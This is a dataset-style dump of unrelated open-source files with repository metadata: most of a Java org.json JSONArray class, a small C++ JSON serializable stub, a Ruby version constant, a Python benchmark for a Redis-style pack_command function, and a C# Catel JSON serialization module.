*/
public JSONArray() {
this.myArrayList = new ArrayList<Object>();
}
/**
* Construct a JSONArray from a JSONTokener.
*
* @param x
* A JSONTokener
* @throws JSONException
* If there is a syntax error.
*/
public JSONArray(JSONTokener x) throws JSONException {
this();
if (x.nextClean() != '[') {
throw x.syntaxError("A JSONArray text must start with '['");
}
if (x.nextClean() != ']') {
x.back();
for (;;) {
if (x.nextClean() == ',') {
x.back();
this.myArrayList.add(JSONObject.NULL);
} else {
x.back();
this.myArrayList.add(x.nextValue());
}
switch (x.nextClean()) {
case ',':
if (x.nextClean() == ']') {
return;
}
x.back();
break;
case ']':
return;
default:
throw x.syntaxError("Expected a ',' or ']'");
}
}
}
}
/**
* Construct a JSONArray from a source JSON text.
*
* @param source
* A string that begins with <code>[</code> <small>(left
* bracket)</small> and ends with <code>]</code>
* <small>(right bracket)</small>.
* @throws JSONException
* If there is a syntax error.
*/
public JSONArray(String source) throws JSONException {
this(new JSONTokener(source));
}
/**
* Construct a JSONArray from a Collection.
*
* @param collection
* A Collection.
*/
public JSONArray(Collection<Object> collection) {
this.myArrayList = new ArrayList<Object>();
if (collection != null) {
Iterator<Object> iter = collection.iterator();
while (iter.hasNext()) {
this.myArrayList.add(JSONObject.wrap(iter.next()));
}
}
}
/**
* Construct a JSONArray from an array
*
* @throws JSONException
* If not an array.
*/
public JSONArray(Object array) throws JSONException {
this();
if (array.getClass().isArray()) {
int length = Array.getLength(array);
for (int i = 0; i < length; i += 1) {
this.put(JSONObject.wrap(Array.get(array, i)));
}
} else {
throw new JSONException(
"JSONArray initial value should be a string or collection or array.");
}
}
/**
* Get the object value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return An object value.
* @throws JSONException
* If there is no value for the index.
*/
public Object get(int index) throws JSONException {
Object object = this.opt(index);
if (object == null) {
throw new JSONException("JSONArray[" + index + "] not found.");
}
return object;
}
/**
* Get the boolean value associated with an index. The string values "true"
* and "false" are converted to boolean.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The truth.
* @throws JSONException
* If there is no value for the index or if the value is not
* convertible to boolean.
*/
public boolean getBoolean(int index) throws JSONException {
Object object = this.get(index);
if (object.equals(Boolean.FALSE)
|| (object instanceof String && ((String) object)
.equalsIgnoreCase("false"))) {
return false;
} else if (object.equals(Boolean.TRUE)
|| (object instanceof String && ((String) object)
.equalsIgnoreCase("true"))) {
return true;
}
throw new JSONException("JSONArray[" + index + "] is not a boolean.");
}
/**
* Get the double value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value cannot be converted
* to a number.
*/
public double getDouble(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).doubleValue()
: Double.parseDouble((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the int value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value is not a number.
*/
public int getInt(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).intValue()
: Integer.parseInt((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the JSONArray associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A JSONArray value.
* @throws JSONException
* If there is no value for the index. or if the value is not a
* JSONArray
*/
public JSONArray getJSONArray(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof JSONArray) {
return (JSONArray) object;
}
throw new JSONException("JSONArray[" + index + "] is not a JSONArray.");
}
/**
* Get the JSONObject associated with an index.
*
* @param index
* subscript
* @return A JSONObject value.
* @throws JSONException
* If there is no value for the index or if the value is not a
* JSONObject
*/
public JSONObject getJSONObject(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof JSONObject) {
return (JSONObject) object;
}
throw new JSONException("JSONArray[" + index + "] is not a JSONObject.");
}
/**
* Get the long value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value cannot be converted
* to a number.
*/
public long getLong(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).longValue()
: Long.parseLong((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the string associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A string value.
* @throws JSONException
* If there is no string value for the index.
*/
public String getString(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof String) {
return (String) object;
}
throw new JSONException("JSONArray[" + index + "] not a string.");
}
/**
* Determine if the value is null.
*
* @param index
* The index must be between 0 and length() - 1.
* @return true if the value at the index is null, or if there is no value.
*/
public boolean isNull(int index) {
return JSONObject.NULL.equals(this.opt(index));
}
/**
* Make a string from the contents of this JSONArray. The
* <code>separator</code> string is inserted between each element. Warning:
* This method assumes that the data structure is acyclical.
*
* @param separator
* A string that will be inserted between the elements.
* @return a string.
* @throws JSONException
* If the array contains an invalid number.
*/
public String join(String separator) throws JSONException {
int len = this.length();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < len; i += 1) {
if (i > 0) {
sb.append(separator);
}
sb.append(JSONObject.valueToString(this.myArrayList.get(i)));
}
return sb.toString();
}
/**
* Get the number of elements in the JSONArray, included nulls.
*
* @return The length (or size).
*/
public int length() {
return this.myArrayList.size();
}
/**
* Get the optional object value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return An object value, or null if there is no object at that index.
*/
public Object opt(int index) {
return (index < 0 || index >= this.length()) ? null : this.myArrayList
.get(index);
}
/**
* Get the optional boolean value associated with an index. It returns false
* if there is no value at that index, or if the value is not Boolean.TRUE
* or the String "true".
*
* @param index
* The index must be between 0 and length() - 1.
* @return The truth.
*/
public boolean optBoolean(int index) {
return this.optBoolean(index, false);
}
/**
* Get the optional boolean value associated with an index. It returns the
* defaultValue if there is no value at that index or if it is not a Boolean
* or the String "true" or "false" (case insensitive).
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* A boolean default.
* @return The truth.
*/
public boolean optBoolean(int index, boolean defaultValue) {
try {
return this.getBoolean(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional double value associated with an index. NaN is returned
* if there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public double optDouble(int index) {
return this.optDouble(index, Double.NaN);
}
/**
* Get the optional double value associated with an index. The defaultValue
* is returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* subscript
* @param defaultValue
* The default value.
* @return The value.
*/
public double optDouble(int index, double defaultValue) {
try {
return this.getDouble(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional int value associated with an index. Zero is returned if
* there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public int optInt(int index) {
return this.optInt(index, 0);
}
/**
* Get the optional int value associated with an index. The defaultValue is
* returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return The value.
*/
public int optInt(int index, int defaultValue) {
try {
return this.getInt(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional JSONArray associated with an index.
*
* @param index
* subscript
* @return A JSONArray value, or null if the index has no value, or if the
* value is not a JSONArray.
*/
public JSONArray optJSONArray(int index) {
Object o = this.opt(index);
return o instanceof JSONArray ? (JSONArray) o : null;
}
/**
* Get the optional JSONObject associated with an index. Null is returned if
* the key is not found, or null if the index has no value, or if the value
* is not a JSONObject.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A JSONObject value.
*/
public JSONObject optJSONObject(int index) {
Object o = this.opt(index);
return o instanceof JSONObject ? (JSONObject) o : null;
}
/**
* Get the optional long value associated with an index. Zero is returned if
* there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public long optLong(int index) {
return this.optLong(index, 0);
}
/**
* Get the optional long value associated with an index. The defaultValue is
* returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return The value.
*/
public long optLong(int index, long defaultValue) {
try {
return this.getLong(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional string value associated with an index. It returns an
* empty string if there is no value at that index. If the value is not a
* string and is not null, then it is coverted to a string.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A String value.
*/
public String optString(int index) {
return this.optString(index, "");
}
/**
* Get the optional string associated with an index. The defaultValue is
* returned if the key is not found.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return A String value.
*/
public String optString(int index, String defaultValue) {
Object object = this.opt(index);
return JSONObject.NULL.equals(object) ? defaultValue : object
.toString();
}
/**
* Append a boolean value. This increases the array's length by one.
*
* @param value
* A boolean value.
* @return this.
*/
public JSONArray put(boolean value) {
this.put(value ? Boolean.TRUE : Boolean.FALSE);
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONArray which
* is produced from a Collection.
*
* @param value
* A Collection value.
* @return this.
*/
public JSONArray put(Collection<Object> value) {
this.put(new JSONArray(value));
return this;
}
/**
* Append a double value. This increases the array's length by one.
*
* @param value
* A double value.
* @throws JSONException
* if the value is not finite.
* @return this.
*/
public JSONArray put(double value) throws JSONException {
Double d = new Double(value);
JSONObject.testValidity(d);
this.put(d);
return this;
}
/**
* Append an int value. This increases the array's length by one.
*
* @param value
* An int value.
* @return this.
*/
public JSONArray put(int value) {
this.put(new Integer(value));
return this;
}
/**
* Append an long value. This increases the array's length by one.
*
* @param value
* A long value.
* @return this.
*/
public JSONArray put(long value) {
this.put(new Long(value));
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONObject which
* is produced from a Map.
*
* @param value
* A Map value.
* @return this.
*/
public JSONArray put(Map<String, Object> value) {
this.put(new JSONObject(value));
return this;
}
/**
* Append an object value. This increases the array's length by one.
*
* @param value
* An object value. The value should be a Boolean, Double,
* Integer, JSONArray, JSONObject, Long, or String, or the
* JSONObject.NULL object.
* @return this.
*/
public JSONArray put(Object value) {
this.myArrayList.add(value);
return this;
}
/**
* Put or replace a boolean value in the JSONArray. If the index is greater
* than the length of the JSONArray, then null elements will be added as
* necessary to pad it out.
*
* @param index
* The subscript.
* @param value
* A boolean value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, boolean value) throws JSONException {
this.put(index, value ? Boolean.TRUE : Boolean.FALSE);
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONArray which
* is produced from a Collection.
*
* @param index
* The subscript.
* @param value
* A Collection value.
* @return this.
* @throws JSONException
* If the index is negative or if the value is not finite.
*/
public JSONArray put(int index, Collection<Object> value) throws JSONException {
this.put(index, new JSONArray(value));
return this;
}
/**
* Put or replace a double value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* A double value.
* @return this.
* @throws JSONException
* If the index is negative or if the value is not finite.
*/
public JSONArray put(int index, double value) throws JSONException {
this.put(index, new Double(value));
return this;
}
/**
* Put or replace an int value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* An int value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, int value) throws JSONException {
this.put(index, new Integer(value));
return this;
}
/**
* Put or replace a long value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* A long value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, long value) throws JSONException {
this.put(index, new Long(value));
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONObject that
* is produced from a Map.
*
* @param index
* The subscript.
* @param value
* The Map value.
* @return this.
* @throws JSONException
* If the index is negative or if the the value is an invalid
* number.
*/
public JSONArray put(int index, Map<String, Object> value) throws JSONException {
this.put(index, new JSONObject(value));
return this;
}
/**
* Put or replace an object value in the JSONArray. If the index is greater
* than the length of the JSONArray, then null elements will be added as
* necessary to pad it out.
*
* @param index
* The subscript.
* @param value
* The value to put into the array. The value should be a
* Boolean, Double, Integer, JSONArray, JSONObject, Long, or
* String, or the JSONObject.NULL object.
* @return this.
* @throws JSONException
* If the index is negative or if the the value is an invalid
* number.
*/
public JSONArray put(int index, Object value) throws JSONException {
JSONObject.testValidity(value);
if (index < 0) {
throw new JSONException("JSONArray[" + index + "] not found.");
}
if (index < this.length()) {
this.myArrayList.set(index, value);
} else {
while (index != this.length()) {
this.put(JSONObject.NULL);
}
this.put(value);
}
return this;
}
/**
* Remove an index and close the hole.
*
* @param index
* The index of the element to be removed.
* @return The value that was associated with the index, or null if there
* was no value.
*/
public Object remove(int index) {
return index >= 0 && index < this.length()
? this.myArrayList.remove(index)
: null;
}
/**
* Determine if two JSONArrays are similar.
* They must contain similar sequences.
*
* @param other The other JSONArray
* @return true if they are equal
*/
public boolean similar(Object other) {
if (!(other instanceof JSONArray)) {
return false;
}
int len = this.length();
if (len != ((JSONArray)other).length()) {
return false;
}
for (int i = 0; i < len; i += 1) {
Object valueThis = this.get(i);
Object valueOther = ((JSONArray)other).get(i);
if (valueThis instanceof JSONObject) {
if (!((JSONObject)valueThis).similar(valueOther)) {
return false;
}
} else if (valueThis instanceof JSONArray) {
if (!((JSONArray)valueThis).similar(valueOther)) {
return false;
}
} else if (!valueThis.equals(valueOther)) {
return false;
}
}
return true;
}
/**
* Produce a JSONObject by combining a JSONArray of names with the values of
* this JSONArray.
*
* @param names
* A JSONArray containing a list of key strings. These will be
* paired with the values.
* @return A JSONObject, or null if there are no names or if this JSONArray
* has no values.
* @throws JSONException
* If any of the names are null.
*/
public JSONObject toJSONObject(JSONArray names) throws JSONException {
if (names == null || names.length() == 0 || this.length() == 0) {
return null;
}
JSONObject jo = new JSONObject();
for (int i = 0; i < names.length(); i += 1) {
jo.put(names.getString(i), this.opt(i));
}
return jo;
}
/**
* Make a JSON text of this JSONArray. For compactness, no unnecessary
* whitespace is added. If it is not possible to produce a syntactically
* correct JSON text then null will be returned instead. This could occur if
* the array contains an invalid number.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @return a printable, displayable, transmittable representation of the
* array.
*/
public String toString() {
try {
return this.toString(0);
} catch (Exception e) {
return null;
}
}
/**
* Make a prettyprinted JSON text of this JSONArray. Warning: This method
* assumes that the data structure is acyclical.
*
* @param indentFactor
* The number of spaces to add to each level of indentation.
* @return a printable, displayable, transmittable representation of the
* object, beginning with <code>[</code> <small>(left
* bracket)</small> and ending with <code>]</code>
* <small>(right bracket)</small>.
* @throws JSONException
*/
public String toString(int indentFactor) throws JSONException {
StringWriter sw = new StringWriter();
synchronized (sw.getBuffer()) {
return this.write(sw, indentFactor, 0).toString();
}
}
/**
* Write the contents of the JSONArray as JSON text to a writer. For
* compactness, no whitespace is added.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @return The writer.
* @throws JSONException
*/
public Writer write(Writer writer) throws JSONException {
return this.write(writer, 0, 0);
}
/**
* Write the contents of the JSONArray as JSON text to a writer. For
* compactness, no whitespace is added.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @param indentFactor
* The number of spaces to add to each level of indentation.
* @param indent
* The indention of the top level.
* @return The writer.
* @throws JSONException
*/
Writer write(Writer writer, int indentFactor, int indent)
throws JSONException {
try {
boolean commanate = false;
int length = this.length();
writer.write('[');
if (length == 1) {
JSONObject.writeValue(writer, this.myArrayList.get(0),
indentFactor, indent);
} else if (length != 0) {
final int newindent = indent + indentFactor;
for (int i = 0; i < length; i += 1) {
if (commanate) {
writer.write(',');
}
if (indentFactor > 0) {
writer.write('\n');
}
JSONObject.indent(writer, newindent);
JSONObject.writeValue(writer, this.myArrayList.get(i),
indentFactor, newindent);
commanate = true;
}
if (indentFactor > 0) {
writer.write('\n');
}
JSONObject.indent(writer, indent);
}
writer.write(']');
return writer;
} catch (IOException e) {
throw new JSONException(e);
}
}
}
| marcossilva/IFAdventure | EnsaioRetentivo/src/framework/org/json/JSONArray.java | Java | mit | 32,203 |
#include "abstract_serializable.h"
using namespace json;
json::__abstract_serializable__::__abstract_serializable__() {}
std::map<std::string, std::function<json::__abstract_serializable__*()> > json::__abstract_serializable__::dictionary;
| Dariasteam/JSON-cpp | src/abstract_serializable.cpp | C++ | mit | 243 |
module CalculableAttrs
VERSION = "0.0.15"
end
| dmitrysharkov/calculable_attrs | lib/calculable_attrs/version.rb | Ruby | mit | 48 |
# -*- coding: utf-8 -*-
import pack_command
import pack_command_python
import timeit
import cProfile
import pstats
import pycallgraph
def format_time(seconds):
v = seconds
if v * 1000 * 1000 * 1000 < 1000:
scale = u'ns'
v = int(round(v*1000*1000*1000))
elif v * 1000 * 1000 < 1000:
scale = u'μs'
v = int(round(v*1000*1000))
elif v * 1000 < 1000:
scale = u'ms'
v = round(v*1000, 4)
else:
scale = u'sec'
v = int(v)
return u'{} {}'.format(v, scale)
# profiler size
number = 100000
sample = 7
# profiler type
profile = False
graph = False
timer = True
def runit():
pack_command.pack_command("ZADD", "foo", 1369198341, 10000)
def runitp():
pack_command_python.pack_command("ZADD", "foo", 1369198341, 10000)
if profile:
pr = cProfile.Profile()
pr.enable()
if graph:
pycallgraph.start_trace()
if timer:
for name, t in (("Python", runitp), ("cython", runit)):
res = timeit.Timer(t).repeat(sample, number)
min_run = min(res)
per_loop = min_run/number
print u'{}'.format(name)
print u'{} total run'.format(format_time(min_run))
print u'{} per/loop'.format(format_time(per_loop))
#print u'{} per/friend'.format(format_time(per_loop/friends_cnt))
else:
for j in xrange(number):
runit()
if graph:
pycallgraph.make_dot_graph('example.png')
if profile:
pr.disable()
ps = pstats.Stats(pr)
sort_by = 'cumulative'
ps.strip_dirs().sort_stats(sort_by).print_stats(20)
| simonz05/pack-command | misc/bench.py | Python | mit | 1,564 |
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="SerializationJsonModule.cs" company="Catel development team">
// Copyright (c) 2008 - 2015 Catel development team. All rights reserved.
// </copyright>
// --------------------------------------------------------------------------------------------------------------------
namespace Catel
{
using IoC;
using Runtime.Serialization.Json;
/// <summary>
/// Core module which allows the registration of default services in the service locator.
/// </summary>
public class SerializationJsonModule : IServiceLocatorInitializer
{
#region Methods
/// <summary>
/// Initializes the specified service locator.
/// </summary>
/// <param name="serviceLocator">The service locator.</param>
public void Initialize(IServiceLocator serviceLocator)
{
Argument.IsNotNull(() => serviceLocator);
serviceLocator.RegisterType<IJsonSerializer, JsonSerializer>();
}
#endregion
}
} | blebougge/Catel | src/Catel.Serialization.Json/Catel.Serialization.Json.Shared/SerializationJsonModule.cs | C# | mit | 1,132 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.